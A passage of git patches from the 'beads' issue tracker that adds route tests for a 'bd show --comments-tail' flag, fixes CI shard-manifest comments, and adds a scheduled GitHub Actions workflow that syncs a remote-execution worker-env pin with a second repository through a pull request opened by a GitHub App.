render-only cap for + fat, append-only beads whose full comment history is hundreds of KB — + description and metadata are unchanged, and omitting the flag (or passing + `0`) is byte-identical to today's output. JSON output is untouched; + `--include-comments` still streams every comment there. + - `bd create --graph` now plans its batch through `issueops.BatchApplier` instead of the old `buildDomainGraphPlan` path, so a graph create gets the same atomic multi-row semantics as `bd batch apply`. A `waits-for` edge's @@ -1351,15 +1360,6 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 open, including the library API, `bd doctor --fix` and `bd bootstrap`, keeps the existing message. -- **`bd show --comments-tail N`** renders only the last N comments in text - output (including under `--watch`) - ([#6618](https://github.com/gastownhall/beads/pull/6618)), preceded by one - elision line naming how many older ones were hidden. A render-only cap for - fat, append-only beads whose full comment history is hundreds of KB — - description and metadata are unchanged, and omitting the flag (or passing - `0`) is byte-identical to today's output. JSON output is untouched; - `--include-comments` still streams every comment there. - ### Changed - **The managed shared Dolt server now opens its configured remotesapi diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 7d1742cef..eb8aa6cd2 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1124,6 +1124,8 @@ go_test( "shared_store_migrate_gate_test.go", "ship_embedded_test.go", "show_brief_deps_test.go", + "show_comments_tail_embedded_test.go", + "show_comments_tail_proxied_integration_test.go", "show_comments_tail_test.go", "show_current_test.go", "show_details_json_test.go", diff --git a/cmd/bd/show_comments_tail_embedded_test.go b/cmd/bd/show_comments_tail_embedded_test.go new file mode 100644 index 000000000..8b5dafd4a --- /dev/null +++ b/cmd/bd/show_comments_tail_embedded_test.go @@ -0,0 +1,69 @@ +//go:build cgo + +package main + +import ( + "os" + "strings" + "testing" +) + +// Direct-route half of the --comments-tail route tests; fixtures and the +// proxied half are in show_comments_tail_proxied_integration_test.go. + +// TestEmbeddedShowCommentsTail drives the direct route (show.go) and the +// direct --watch route (show_display.go) through the built binary. +func TestEmbeddedShowCommentsTail(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "ct") + issue := bdCreate(t, bd, dir, "Tail me", "--type", "task") + for _, text := range commentsTailTexts { + if out, err := bdRunWithFlockRetry(t, bd, dir, "comments", "add", issue.ID, text); err != nil { + t.Fatalf("bd comments add %q failed: %v\n%s", text, err, out) + } + } + + t.Run("direct_tail_1", func(t *testing.T) { + out := bdShowRaw(t, bd, dir, issue.ID, "--comments-tail", "1") + assertCommentsTailOne(t, "direct", out, issue.ID) + }) + + t.Run("direct_off_state_matches_absence", func(t *testing.T) { + without := bdShowRaw(t, bd, dir, issue.ID) + assertCommentsTailOff(t, "direct --comments-tail 0", bdShowRaw(t, bd, dir, issue.ID, "--comments-tail", "0"), without) + assertCommentsTailOff(t, "direct --comments-tail 5", bdShowRaw(t, bd, dir, issue.ID, "--comments-tail", "5"), without) + }) + + t.Run("direct_negative_is_usage_error", func(t *testing.T) { + out := bdShowFail2(t, bd, dir, issue.ID, "--comments-tail", "-1") + if !strings.Contains(out, "--comments-tail") || !strings.Contains(out, "non-negative") { + t.Errorf("negative cap did not fail as a usage error:\n%s", out) + } + }) + + t.Run("direct_json_untouched", func(t *testing.T) { + withFlag, err := bdRunWithFlockRetry(t, bd, dir, "show", issue.ID, "--json", "--include-comments", "--comments-tail", "1") + if err != nil { + t.Fatalf("bd show --json --comments-tail 1 failed: %v\n%s", err, withFlag) + } + without, err := bdRunWithFlockRetry(t, bd, dir, "show", issue.ID, "--json", "--include-comments") + if err != nil { + t.Fatalf("bd show --json failed: %v\n%s", err, without) + } + if string(withFlag) != string(without) { + t.Errorf("--json output changed under --comments-tail 1\n--- with flag\n%s\n--- without\n%s", withFlag, without) + } + if !strings.Contains(string(withFlag), commentsTailOldest) { + t.Errorf("--json --include-comments dropped the oldest comment under --comments-tail 1:\n%s", withFlag) + } + }) + + t.Run("watch_tail_1", func(t *testing.T) { + out := runShowWatchOnce(t, bd, dir, bdEnv(dir), issue.ID, "--watch", "--comments-tail", "1") + assertCommentsTailOne(t, "direct --watch", out, issue.ID) + }) +} diff --git a/cmd/bd/show_comments_tail_proxied_integration_test.go b/cmd/bd/show_comments_tail_proxied_integration_test.go new file mode 100644 index 000000000..ea56a1677 --- /dev/null +++ b/cmd/bd/show_comments_tail_proxied_integration_test.go @@ -0,0 +1,208 @@ +//go:build cgo + +package main + +import ( + "fmt" + "os/exec" + "strings" + "syscall" + "testing" + "time" +) + +// Route tests for `bd show --comments-tail N` (#6618 follow-up, bd-6gl9h7): +// the shared fixtures and the proxied routes live here; the direct routes +// are in show_comments_tail_embedded_test.go, which the embedded cmd shard +// manifest discovers by its *_embedded_test.go name. +// +// show_comments_tail_test.go pins printComments and renderWatchComments by +// calling them directly, so a regression that passed 0 at any of the three +// call sites — show.go (direct), show_display.go (direct --watch), +// show_proxied_server.go / show_proxied_watch.go (proxied, plain and +// --watch) — would still pass that file. These tests run the built binary +// through every route with the flag set, over the same three comments, and +// read the rendered text: the elision line names the hidden count and the +// issue, only the newest comment survives the cap, and the flag's off state +// (0, or a cap above the count) is byte-identical to its absence. + +const ( + commentsTailOldest = "CT-OLDEST-ALPHA" + commentsTailOlder = "CT-OLDER-BRAVO" + commentsTailNewest = "CT-NEWEST-CHARLIE" +) + +var commentsTailTexts = []string{commentsTailOldest, commentsTailOlder, commentsTailNewest} + +// commentsTailElision is the one muted line printComments prints in front of +// a capped render; the text is pinned here so a reworded line fails every +// route at once rather than one route drifting. +func commentsTailElision(hidden int, issueID string) string { + noun := "comments" + if hidden == 1 { + noun = "comment" + } + return fmt.Sprintf("… %d older %s hidden — bd show %s for the full record", hidden, noun, issueID) +} + +// assertCommentsTailOne checks a text render of the three-comment issue +// under --comments-tail 1: the elision line, the newest comment, and neither +// of the two hidden ones. +func assertCommentsTailOne(t *testing.T, route, out, issueID string) { + t.Helper() + if want := commentsTailElision(2, issueID); !strings.Contains(out, want) { + t.Errorf("%s: elision line missing, want %q in:\n%s", route, want, out) + } + if !strings.Contains(out, commentsTailNewest) { + t.Errorf("%s: newest comment %q missing from the capped render:\n%s", route, commentsTailNewest, out) + } + for _, hidden := range []string{commentsTailOldest, commentsTailOlder} { + if strings.Contains(out, hidden) { + t.Errorf("%s: hidden comment %q rendered under --comments-tail 1:\n%s", route, hidden, out) + } + } +} + +// stripShowTips removes the "💡 Tip: …" line maybeShowTip (show.go, on the +// direct route after a text render) may append. Whether a tip prints is a +// per-run probability roll behind a per-tip frequency gate recorded in the +// store, independent of --comments-tail, so of two renders that are +// otherwise identical one can carry the tip and the other not. Trailing +// newlines are normalized with it, since the tip block arrives as a blank +// line plus the tip line. +func stripShowTips(out string) string { + var kept []string + for _, line := range strings.Split(out, "\n") { + if strings.HasPrefix(line, "💡 Tip: ") { + continue + } + kept = append(kept, line) + } + return strings.TrimRight(strings.Join(kept, "\n"), "\n") + "\n" +} + +// assertCommentsTailOff checks that a render with the flag in its off state +// (0, or a cap at or above the count) is byte-identical to a render without +// the flag (tips stripped, see stripShowTips), and that the uncapped render +// carries every comment and no elision line. +func assertCommentsTailOff(t *testing.T, route, withFlag, without string) { + t.Helper() + withFlag, without = stripShowTips(withFlag), stripShowTips(without) + if withFlag != without { + t.Errorf("%s: render differs from the flag's absence\n--- with flag\n%s\n--- without\n%s", route, withFlag, without) + } + for _, text := range commentsTailTexts { + if !strings.Contains(without, text) { + t.Errorf("%s: uncapped render lacks comment %q:\n%s", route, text, without) + } + } + if strings.Contains(without, "older comment") { + t.Errorf("%s: uncapped render carries an elision line:\n%s", route, without) + } +} + +// runShowWatchOnce starts `bd show ` (the caller passes --watch), waits +// for the first render to land, stops the watch with SIGINT and returns the +// stdout of that single render. The render/quiet/stop choreography is the +// one TestProxiedServerShowWatch uses, so see its comments for why the +// banner alone is not proof that stdout has fully landed. +func runShowWatchOnce(t *testing.T, bd, dir string, env []string, args ...string) string { + t.Helper() + stdout := &watchBannerWriter{renders: make(chan int, 1)} + stderr := &watchBannerWriter{renders: make(chan int, 1)} + cmd := exec.Command(bd, append([]string{"show"}, args...)...) + cmd.Dir = dir + cmd.Env = env + cmd.Stdout = stdout + cmd.Stderr = stderr + if err := cmd.Start(); err != nil { + t.Fatalf("start bd show %s: %v", strings.Join(args, " "), err) + } + var waitErr error + exited := make(chan struct{}) + go func() { + waitErr = cmd.Wait() + close(exited) + }() + t.Cleanup(func() { + _ = cmd.Process.Kill() + <-exited + }) + if !stderr.waitForRender(1, 60*time.Second, exited) { + t.Fatalf("bd show %s never started watching\nstdout:\n%s\nstderr:\n%s", strings.Join(args, " "), stdout.String(), stderr.String()) + } + stdout.waitForQuiet(500*time.Millisecond, 10*time.Second, exited) + if err := cmd.Process.Signal(syscall.SIGINT); err != nil { + t.Fatalf("signal bd show --watch: %v", err) + } + select { + case <-exited: + if waitErr != nil { + t.Fatalf("bd show %s exited with %v after SIGINT, want 0\nstderr:\n%s", strings.Join(args, " "), waitErr, stderr.String()) + } + case <-time.After(30 * time.Second): + t.Fatalf("bd show %s ignored SIGINT\nstderr:\n%s", strings.Join(args, " "), stderr.String()) + } + return stdout.String() +} + +// TestProxiedServerShowCommentsTail drives the proxied route +// (show_proxied_server.go) and the proxied --watch route +// (show_proxied_watch.go) through the built binary against the shared +// proxied server. +func TestProxiedServerShowCommentsTail(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + p := newSharedProxiedProject(t, bd, "pct") + issue := bdProxiedCreate(t, bd, p.dir, "Tail me", "--type", "task") + for _, text := range commentsTailTexts { + bdProxiedComment(t, bd, p.dir, issue.ID, text) + } + + t.Run("proxied_tail_1", func(t *testing.T) { + t.Parallel() + out := bdProxiedShowRaw(t, bd, p.dir, issue.ID, "--comments-tail", "1") + assertCommentsTailOne(t, "proxied", out, issue.ID) + }) + + t.Run("proxied_off_state_matches_absence", func(t *testing.T) { + t.Parallel() + without := bdProxiedShowRaw(t, bd, p.dir, issue.ID) + assertCommentsTailOff(t, "proxied --comments-tail 0", bdProxiedShowRaw(t, bd, p.dir, issue.ID, "--comments-tail", "0"), without) + assertCommentsTailOff(t, "proxied --comments-tail 5", bdProxiedShowRaw(t, bd, p.dir, issue.ID, "--comments-tail", "5"), without) + }) + + t.Run("proxied_negative_is_usage_error", func(t *testing.T) { + t.Parallel() + stdout, stderr := bdProxiedShowFail(t, bd, p.dir, issue.ID, "--comments-tail", "-1") + combined := stdout + stderr + if !strings.Contains(combined, "--comments-tail") || !strings.Contains(combined, "non-negative") { + t.Errorf("negative cap did not fail as a usage error\nstdout:\n%s\nstderr:\n%s", stdout, stderr) + } + }) + + t.Run("proxied_json_untouched", func(t *testing.T) { + t.Parallel() + withFlag, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, "show", issue.ID, "--json", "--include-comments", "--comments-tail", "1") + if err != nil { + t.Fatalf("bd show --json --comments-tail 1 failed: %v\n%s", err, stderr) + } + without, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, "show", issue.ID, "--json", "--include-comments") + if err != nil { + t.Fatalf("bd show --json failed: %v\n%s", err, stderr) + } + if withFlag != without { + t.Errorf("--json output changed under --comments-tail 1\n--- with flag\n%s\n--- without\n%s", withFlag, without) + } + if !strings.Contains(withFlag, commentsTailOldest) { + t.Errorf("--json --include-comments dropped the oldest comment under --comments-tail 1:\n%s", withFlag) + } + }) + + t.Run("proxied_watch_tail_1", func(t *testing.T) { + t.Parallel() + out := runShowWatchOnce(t, bd, p.dir, bdProxiedEnv(p.dir), issue.ID, "--watch", "--comments-tail", "1") + assertCommentsTailOne(t, "proxied --watch", out, issue.ID) + }) +} From 11b5d3271ecf868c3c0dcc273cf4d471c10a9b54 Mon Sep 17 00:00:00 2001 From: Bee Date: Sat, 10 Oct 2026 05:28:43 +0000 Subject: [PATCH 094/213] docs(proxied): name the Close3/Close4 legacy pins and fix the Close3 doc comment (#7173 follow-up) (#7382) * docs(proxied): name the Close3/Close4 legacy pins and fix the Close3 doc comment (#7173 follow-up) Two non-blocking findings from the #7173 adoption review (bd-vrdrew, bd-dars9p), both in bee's code, neither addressed in that PR: - The doc comment on TestProxiedServerClose3 still called it "the second half of TestProxiedServerClose"; after the second split it is the middle of the three parents (Close, Close3, Close4). Say so, and name Close4 as its own second half. - In the frozen 15-shard block of .github/scripts/proxied-cmd-test-shards.txt the lines `15 13 TestProxiedServerClose3` and `15 2 TestProxiedServerClose4` sat inside the shard-1 and shard-7 groups (#7173's last commit moved the pins from 1 and 7 to 13 and 2 without moving the lines), and the header's "Deliberate exception (Oct 2026)" paragraph did not name them. The two lines now sit alphabetically inside their own shard groups, the header names them with the reason and the measured times, and the generator's hand-pin paragraph (scripts/ci/gen_proxied_shard_manifest.py) names them too so the two texts stay in step. The lines were inert either way: proxied-test-shard.sh matches each line by field. No test moves shard: the 15-shard block's line set is unchanged apart from order (sorted diff empty) and the 30-shard block is byte-identical. Verified: gofmt -l (clean); go vet ./cmd/bd/ (exit 0); gen_proxied_shard_manifest.py 30 --weights=duration --check (exit 0, heaviest 435.1s est, unchanged); 15 --check reports the same 30 hashed names missing as main (the frozen block is expected to fail it); proxied-test-shard.sh list-only: Close3 on 13/15, Close4 on 2/15, neither on 1/15 or 7/15; go test ./scripts/ -run 'Shard|Manifest|Coverage' ok 38.6s. Co-Authored-By: Claude Fable 5.1 * docs(proxied): count CloseB in the Close3 comment; say why shard 5 got no pin Maintainer fixup from the adoption review of #7382 (bd-g6pyb0), on top of bee's commit, which stays as written. Comment and manifest-header text only: no test body, shard assignment or routing changes. - TestProxiedServerClose3's doc comment called it "the middle of the three parents TestProxiedServerClose was split into (Close, Close3, Close4)". That held at the PR's original base, but #7418, on main since, moved five of Close's eleven cases into a new TestProxiedServerCloseB, so the 23 bd-init subtests of the pre-#7173 TestProxiedServerClose now sit in four parents: Close 6, CloseB 5, Close3 6, Close4 6 (their union is exactly the pre-#7173 set, no duplicates). The comment now says Close3 was split off Close, names all four parents, and keeps "Its own second half is TestProxiedServerClose4." - The frozen 15-shard block's header said #7173 pinned Close3 and Close4 onto "the two lightest shards of that PR's own run (6m51s and 7m57s)". On that run (37206446441, at 765248af5) shard 5 was lighter still, at 5m50s; #7173 passed over it on purpose, because it was light only because those 12 subtests had just left it and putting Close3 back would recreate most of the set that timed out. The header now says "other than shard 5 itself" and gives that reason. This commit also supersedes the parts of the parent commit's message that the rebase onto c21880105f outdated: - "after the second split it is the middle of the three parents (Close, Close3, Close4)": four parents now, as above. - "the 30-shard block is byte-identical": the Bazel-only block is 34 shards now (#7418 made it 44, #7436 34), and that block is byte-identical to the base's. - "gen_proxied_shard_manifest.py 30 --weights=duration --check (exit 0, heaviest 435.1s est, unchanged)": with no 30-shard block left, that command now exits 1 ("has no block for total_shards=30"). Its current form, 34 --weights=duration --check, exits 0 with the heaviest shard at 196.1 s est., the same before and after this commit. - "15 --check reports the same 30 hashed names missing as main": it now reports 53, the same set as against the base's manifest. Verified: git diff --check clean; gofmt -l clean (the Go change is comment-only); with '#' lines stripped as proxied-test-shard.sh strips them, the manifest is identical before and after; gen_proxied_shard_manifest.py 15 --check and 34 --weights=duration --check print the same output before and after (exit 1 with 53 missing; exit 0, heaviest 196.1 s); BEADS_TEST_SHARD_LIST_ONLY=1 proxied-test-shard.sh lists for 1, 2, 7 and 13 of 15 are unchanged (Close3 on 13, Close4 on 2, neither on 1 or 7); go test ./scripts/ -run 'Shard|Manifest|Coverage' ok (21 top-level tests, none skipped). Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Fable 5.1 Co-authored-by: Eddie the Engineer --- .github/scripts/proxied-cmd-test-shards.txt | 13 +++++++++++-- cmd/bd/close_proxied_integration_test.go | 13 ++++++++----- scripts/ci/gen_proxied_shard_manifest.py | 4 +++- 3 files changed, 22 insertions(+), 8 deletions(-) diff --git a/.github/scripts/proxied-cmd-test-shards.txt b/.github/scripts/proxied-cmd-test-shards.txt index 97ff8d2cd..aaec871fd 100644 --- a/.github/scripts/proxied-cmd-test-shards.txt +++ b/.github/scripts/proxied-cmd-test-shards.txt @@ -34,6 +34,15 @@ # have no socat, so today it skips here; the pin keeps shard 14 safe if # socat is ever installed. # +# TestProxiedServerClose3 (shard 13) and TestProxiedServerClose4 (shard 2) +# are the two parents gastownhall/beads#7173 split off TestProxiedServerClose +# to pull shard 5 (15m+) back under the timeout, pinned onto the two +# lightest shards of that PR's own run other than shard 5 itself (6m51s +# and 7m57s; shard 5 ran 5m50s only because their 12 subtests had just +# left it, and putting Close3 back would recreate most of the set that +# timed out) rather than hashed; the lines are listed under their shards +# like every other pin. +# # This file is generated: notes added here are erased by the next # regeneration. Add them to the generator instead. Known blind spots # of the cost proxy (it counts inits, not the work done per init): @@ -51,7 +60,6 @@ # a doc comment. 15 1 TestProxiedServerBlocked -15 13 TestProxiedServerClose3 15 1 TestProxiedServerCompactDolt 15 1 TestProxiedServerCreate 15 1 TestProxiedServerDep2 @@ -64,6 +72,7 @@ 15 1 TestProxiedServerServeRefusesAStreamOnADisabledJournal 15 1 TestProxiedServerUpdateConcurrentClaim +15 2 TestProxiedServerClose4 15 2 TestProxiedServerCompactHistory 15 2 TestProxiedServerCreate2 15 2 TestProxiedServerDepListSingleIDWarnsOnDroppedExternalEdge @@ -119,7 +128,6 @@ 15 7 TestProxiedServerAssign 15 7 TestProxiedServerBackupRefusedOnExternalTopology -15 2 TestProxiedServerClose4 15 7 TestProxiedServerCount 15 7 TestProxiedServerGC 15 7 TestProxiedServerList @@ -185,6 +193,7 @@ 15 12 TestProxiedServerTypes 15 12 TestProxiedServerUpdateClosePolicy +15 13 TestProxiedServerClose3 15 13 TestProxiedServerDeleteConcurrent 15 13 TestProxiedServerInfo 15 13 TestProxiedServerMolSquash diff --git a/cmd/bd/close_proxied_integration_test.go b/cmd/bd/close_proxied_integration_test.go index 0e349f740..94baa1ad6 100644 --- a/cmd/bd/close_proxied_integration_test.go +++ b/cmd/bd/close_proxied_integration_test.go @@ -358,11 +358,14 @@ func TestProxiedServerCloseB(t *testing.T) { }) } -// TestProxiedServerClose3 is the second half of TestProxiedServerClose, -// split off (as TestProxiedServerClose2 was before it) so that no single -// top-level suite carries 23 bd-init subtests: that one parent alone cost -// ~2060 slot-seconds under -test.parallel=4 and pushed its 15-shard legacy -// shard past go test's 15m timeout on every run (gastownhall/beads#7151). +// TestProxiedServerClose3 was split off TestProxiedServerClose (as +// TestProxiedServerClose2 was before it) so that no single top-level suite +// carries 23 bd-init subtests: that one parent alone cost ~2060 +// slot-seconds under -test.parallel=4 and pushed its 15-shard legacy shard +// past go test's 15m timeout on every run (gastownhall/beads#7151). Those +// 23 now sit in TestProxiedServerClose, TestProxiedServerCloseB, +// TestProxiedServerClose3 and TestProxiedServerClose4. Its own second half +// is TestProxiedServerClose4. func TestProxiedServerClose3(t *testing.T) { requireSharedProxiedServer(t) t.Parallel() diff --git a/scripts/ci/gen_proxied_shard_manifest.py b/scripts/ci/gen_proxied_shard_manifest.py index ecac80c89..a6f04a7db 100644 --- a/scripts/ci/gen_proxied_shard_manifest.py +++ b/scripts/ci/gen_proxied_shard_manifest.py @@ -222,7 +222,9 @@ def render(total, shards, weights): out.append('# TestProxiedServerListComments and') out.append('# TestProxiedServerServeRefusesAStreamOnADisabledJournal; and for') out.append('# TestProxiedServerOutageReconnectAcceptanceMatrix, pinned to shard 1') - out.append('# instead of hashing onto shard 14).') + out.append('# instead of hashing onto shard 14; and for TestProxiedServerClose3') + out.append('# and TestProxiedServerClose4, the parents #7173 split off') + out.append('# TestProxiedServerClose, pinned to shards 13 and 2).') else: out.append(f'# {total}-shard split for the Bazel-only proxied-server tier') out.append('# (bazel-proxied in .github/workflows/bazel.yml), bin-packed') From b3cdbf9e466f49ec2a2ae1030d72d964e15d8ee8 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Sat, 10 Oct 2026 05:58:24 +0000 Subject: [PATCH 095/213] ci(rbe): auto-PR a worker-env pin sync when gascity main re-pins (mc-gv9fk) (#7455) rbe-west's pool workers advertise gastownhall/gascity main's worker-env pin; when gascity re-pins (a Go/dolt/OS bump, e.g. #7387) beads' copy falls out of step and every remote-execution run stops in bazel.yml's preflight until a human notices and copies the fix by hand (#7419 took ~100 minutes). This adds a scheduled workflow (every 15 minutes, plus workflow_dispatch) that runs tools/rbe/worker-env-sync against gascity main, and on a real mismatch (exit 1) copies the manifest and pin with the new tools/rbe/worker-env-sync-copy, opens/updates a PR on a fixed branch with status/needs-review-auto, and arms auto-merge. GitHub never runs checks on a PR a plain GITHUB_TOKEN opens, so this needs a GitHub App token -- but gastownhall-autofix (contents:write on this repo) cannot open or label a PR. Two Apps split the two write roles instead: gastownhall-autofix mints push-token (contents:write only) and does the git push of bot/worker-env-sync via plain git; gascity-autofix (pull-requests:write only) mints pr-token and does everything PR-shaped -- create/update, the label, and arming auto-merge -- via gh. peter-evans/create-pull-request takes one token for the whole flow, so it can't honor this split; plain git and gh replace it. Every ${{ }} is resolved into a step's env: first, never written inside a run: script. Both Apps' id/private-key secrets live in the same autofix environment, gated by its deployment-branch policy to main; schedule and workflow_dispatch are never fork events, so neither key is ever readable by a fork. Needs admin setup: the gascity-autofix App (id 5259233) installed on gastownhall/beads (and gascity) with pull-requests:write and metadata read, and its GASCITY_AUTOFIX_APP_ID / GASCITY_AUTOFIX_APP_PRIVATE_KEY secrets added to the autofix environment alongside the existing AUTOFIX_APP_ID / AUTOFIX_APP_PRIVATE_KEY. Co-authored-by: Claude Sonnet 5 --- .github/workflows/worker-env-autosync.yml | 196 ++++++++++++++++ scripts/BUILD.bazel | 1 + scripts/worker_env_autosync_test.go | 259 ++++++++++++++++++++++ tools/rbe/worker-env-sync-copy | 41 ++++ 4 files changed, 497 insertions(+) create mode 100644 .github/workflows/worker-env-autosync.yml create mode 100644 scripts/worker_env_autosync_test.go create mode 100755 tools/rbe/worker-env-sync-copy diff --git a/.github/workflows/worker-env-autosync.yml b/.github/workflows/worker-env-autosync.yml new file mode 100644 index 000000000..2978a5617 --- /dev/null +++ b/.github/workflows/worker-env-autosync.yml @@ -0,0 +1,196 @@ +# Keep beads' rbe worker-env pin in step with gastownhall/gascity main +# without the ~100-minute wait #7419 fixed by hand. +# +# rbe-west's OSS pool is gascity's: its workers advertise the sha256 of the +# toolchain manifest gascity's tools/rbe/worker-env measures, and the +# schedulers match //platforms:rbe_worker's worker-env exec property +# exactly. beads' tools/rbe/worker-env.txt and the platforms/BUILD.bazel pin +# are a byte-for-byte copy of gascity main's; when gascity moves the pin (a +# Go, dolt, or OS/library bump -- #7387 was a Go security release), every +# beads remote-execution run stops in bazel.yml's rbe-job preflight +# (tools/rbe/worker-env-sync) until the copy catches up. nightly.yml's +# rbe-worker-env-sync job already opens a ci/infra issue for a human to fix; +# this instead opens the fix itself, every 15 minutes, so the gap is +# minutes, not until someone reads the issue. +# +# tools/rbe/worker-env-sync only detects the mismatch (exit 1) or that it +# could not compare with gascity (exit 2, e.g. GitHub is briefly +# unreachable; the next run retries). The write half, tools/rbe/worker-env- +# sync-copy, runs only after that exit-1 detection, on a checkout already in +# hand -- so a transient gascity outage can turn "in step" into "unknown", +# never into an unwanted write. +# +# TWO TOKENS, ONE JOB EACH: GitHub never runs checks on a PR a plain +# GITHUB_TOKEN opens (its loop-prevention rule), so this needs a GitHub App +# token to open the PR. The gastownhall-autofix App (contents:write only on +# this repo) mints push-token and does the git push of the fixed branch +# (bot/worker-env-sync); it cannot open, label or merge a PR. The separate +# gascity-autofix App (pull-requests:write only, no contents) mints pr-token +# and does everything PR-shaped: create/update, the status/needs-review-auto +# label, and arming auto-merge. Splitting them means a bug in the PR-shaped +# half can never push a commit, and a bug in the push half can never touch a +# PR; neither token can do the other's job even by accident. Both Apps' +# credentials are secrets of the same `autofix` environment. +# +# peter-evans/create-pull-request takes one token for the whole push+PR +# flow, so it cannot honor this split; this uses plain git for the push and +# gh for the PR instead. Every `${{ }}` is resolved into a step's `env:`, +# never written inside a `run:` script, so a value that happened to look +# like shell (a title or body containing `` ` `` or `$`) is data to the +# shell, not something GitHub's expression syntax or the shell re-parses. +# +# SECURITY: schedule and workflow_dispatch are never fork events (no +# pull_request trigger here at all), so neither App's private key -- secrets +# of the `autofix` environment, whose deployment-branch policy allows only +# main -- is ever readable by a fork. The guard on github.repository is +# defense in depth for a fork of this repo, where the secrets would not +# exist anyway. Both mint steps run only once worker-env-sync has already +# found a real mismatch, so a run that is in step or can't compare asks +# neither App for a token. gh pr merge --auto only arms GitHub's native +# auto-merge (it still waits for every required check and the branch +# protection rule); it does not merge anything itself. +name: rbe worker-env autosync + +on: + schedule: + - cron: "*/15 * * * *" + workflow_dispatch: + +permissions: + contents: read + +jobs: + autosync: + name: Sync worker-env pin with gascity main + if: github.repository == 'gastownhall/beads' + runs-on: ubuntu-latest + timeout-minutes: 10 + # Grants the job read access to this environment's secrets (both Apps' + # id and private key); its deployment-branch policy restricts that to + # jobs running on main, which schedule and workflow_dispatch on this + # repo always are. + environment: autofix + permissions: + contents: read + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 + with: + persist-credentials: false + + # Never fails the step itself: rc is the signal every later step + # gates on (1, a real mismatch; 2, gascity unreachable -- the next + # scheduled run retries; 0, in step). A run every 15 minutes failing + # red for however long a mismatch takes to review and merge would be + # noise, not signal. + - name: Compare the worker-env manifest and pin with gascity's main + id: sync + run: | + rc=0 + tools/rbe/worker-env-sync main || rc=$? + echo "rc=$rc" >> "$GITHUB_OUTPUT" + + - name: Copy gascity main's worker-env manifest and pin + if: steps.sync.outputs.rc == '1' + run: tools/rbe/worker-env-sync-copy main + + - name: Confirm only the worker-env files moved + if: steps.sync.outputs.rc == '1' + run: | + changed="$(git diff --name-only)" + untracked="$(git ls-files --others --exclude-standard)" + want=$'platforms/BUILD.bazel\ntools/rbe/worker-env.txt' + if [ -n "$untracked" ] || [ "$(printf '%s\n' "$changed" | sort)" != "$(printf '%s\n' "$want" | sort)" ]; then + echo "::error::worker-env-sync-copy touched more than platforms/BUILD.bazel and tools/rbe/worker-env.txt:" + printf '%s\n' "$changed" "$untracked" + exit 1 + fi + + # contents:write only, on this repo alone: all it can do is push + # bot/worker-env-sync. Minted only once a real mismatch needs a push. + - name: Mint push token (gastownhall-autofix) + id: push-token + if: steps.sync.outputs.rc == '1' + uses: actions/create-github-app-token@bcd2ba49218906704ab6c1aa796996da409d3eb1 # v3 + with: + app-id: ${{ secrets.AUTOFIX_APP_ID }} + private-key: ${{ secrets.AUTOFIX_APP_PRIVATE_KEY }} + owner: gastownhall + repositories: beads + permission-contents: write + + # pull-requests:write only, on this repo alone: all it can do is + # open, label and arm auto-merge on a PR -- never push a commit. + - name: Mint PR token (gascity-autofix) + id: pr-token + if: steps.sync.outputs.rc == '1' + uses: actions/create-github-app-token@bcd2ba49218906704ab6c1aa796996da409d3eb1 # v3 + with: + app-id: ${{ secrets.GASCITY_AUTOFIX_APP_ID }} + private-key: ${{ secrets.GASCITY_AUTOFIX_APP_PRIVATE_KEY }} + owner: gastownhall + repositories: beads + permission-pull-requests: write + + # push-token alone; it cannot see a PR exists, let alone touch one. + # Leased to the branch: a force-with-lease scoped to refs/heads/ + # bot/worker-env-sync only, so a push can never move any other ref. + - name: Commit and push the sync branch + if: steps.sync.outputs.rc == '1' + env: + PUSH_TOKEN: ${{ steps.push-token.outputs.token }} + REPO: ${{ github.repository }} + BRANCH: bot/worker-env-sync + COMMIT_SUBJECT: "build(rbe): sync worker-env pin with gascity main" + GIT_AUTHOR_NAME: gastownhall-autofix[bot] + GIT_AUTHOR_EMAIL: gastownhall-autofix[bot]@users.noreply.github.com + GIT_COMMITTER_NAME: gastownhall-autofix[bot] + GIT_COMMITTER_EMAIL: gastownhall-autofix[bot]@users.noreply.github.com + run: | + git checkout -B "$BRANCH" + git add platforms/BUILD.bazel tools/rbe/worker-env.txt + git commit -m "$COMMIT_SUBJECT" + git push "https://x-access-token:${PUSH_TOKEN}@github.com/${REPO}.git" \ + "HEAD:refs/heads/$BRANCH" "--force-with-lease=refs/heads/$BRANCH" + + # pr-token alone; it cannot push a commit, only act on the PR the + # step above already pushed. + - name: Open or update the sync PR + id: pr + if: steps.sync.outputs.rc == '1' + env: + GH_TOKEN: ${{ steps.pr-token.outputs.token }} + REPO: ${{ github.repository }} + BRANCH: bot/worker-env-sync + TITLE: "build(rbe): sync worker-env pin with gascity main" + LABEL: status/needs-review-auto + RUN_URL: ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }} + run: | + body="$(cat <> "$GITHUB_OUTPUT" + + - name: Enable auto-merge + if: steps.sync.outputs.rc == '1' && steps.pr.outputs.number + env: + GH_TOKEN: ${{ steps.pr-token.outputs.token }} + REPO: ${{ github.repository }} + PR_NUMBER: ${{ steps.pr.outputs.number }} + run: gh pr merge --auto --squash --repo "$REPO" "$PR_NUMBER" diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index 08cf03e48..b3d3294a1 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -61,6 +61,7 @@ go_test( "pr_risk_bazel_coverage_test.go", "rbe_worker_env_test.go", "repo_helpers_test.go", + "worker_env_autosync_test.go", ], # keep data = [ "//:repo_other_files", diff --git a/scripts/worker_env_autosync_test.go b/scripts/worker_env_autosync_test.go new file mode 100644 index 000000000..f3a4871f7 --- /dev/null +++ b/scripts/worker_env_autosync_test.go 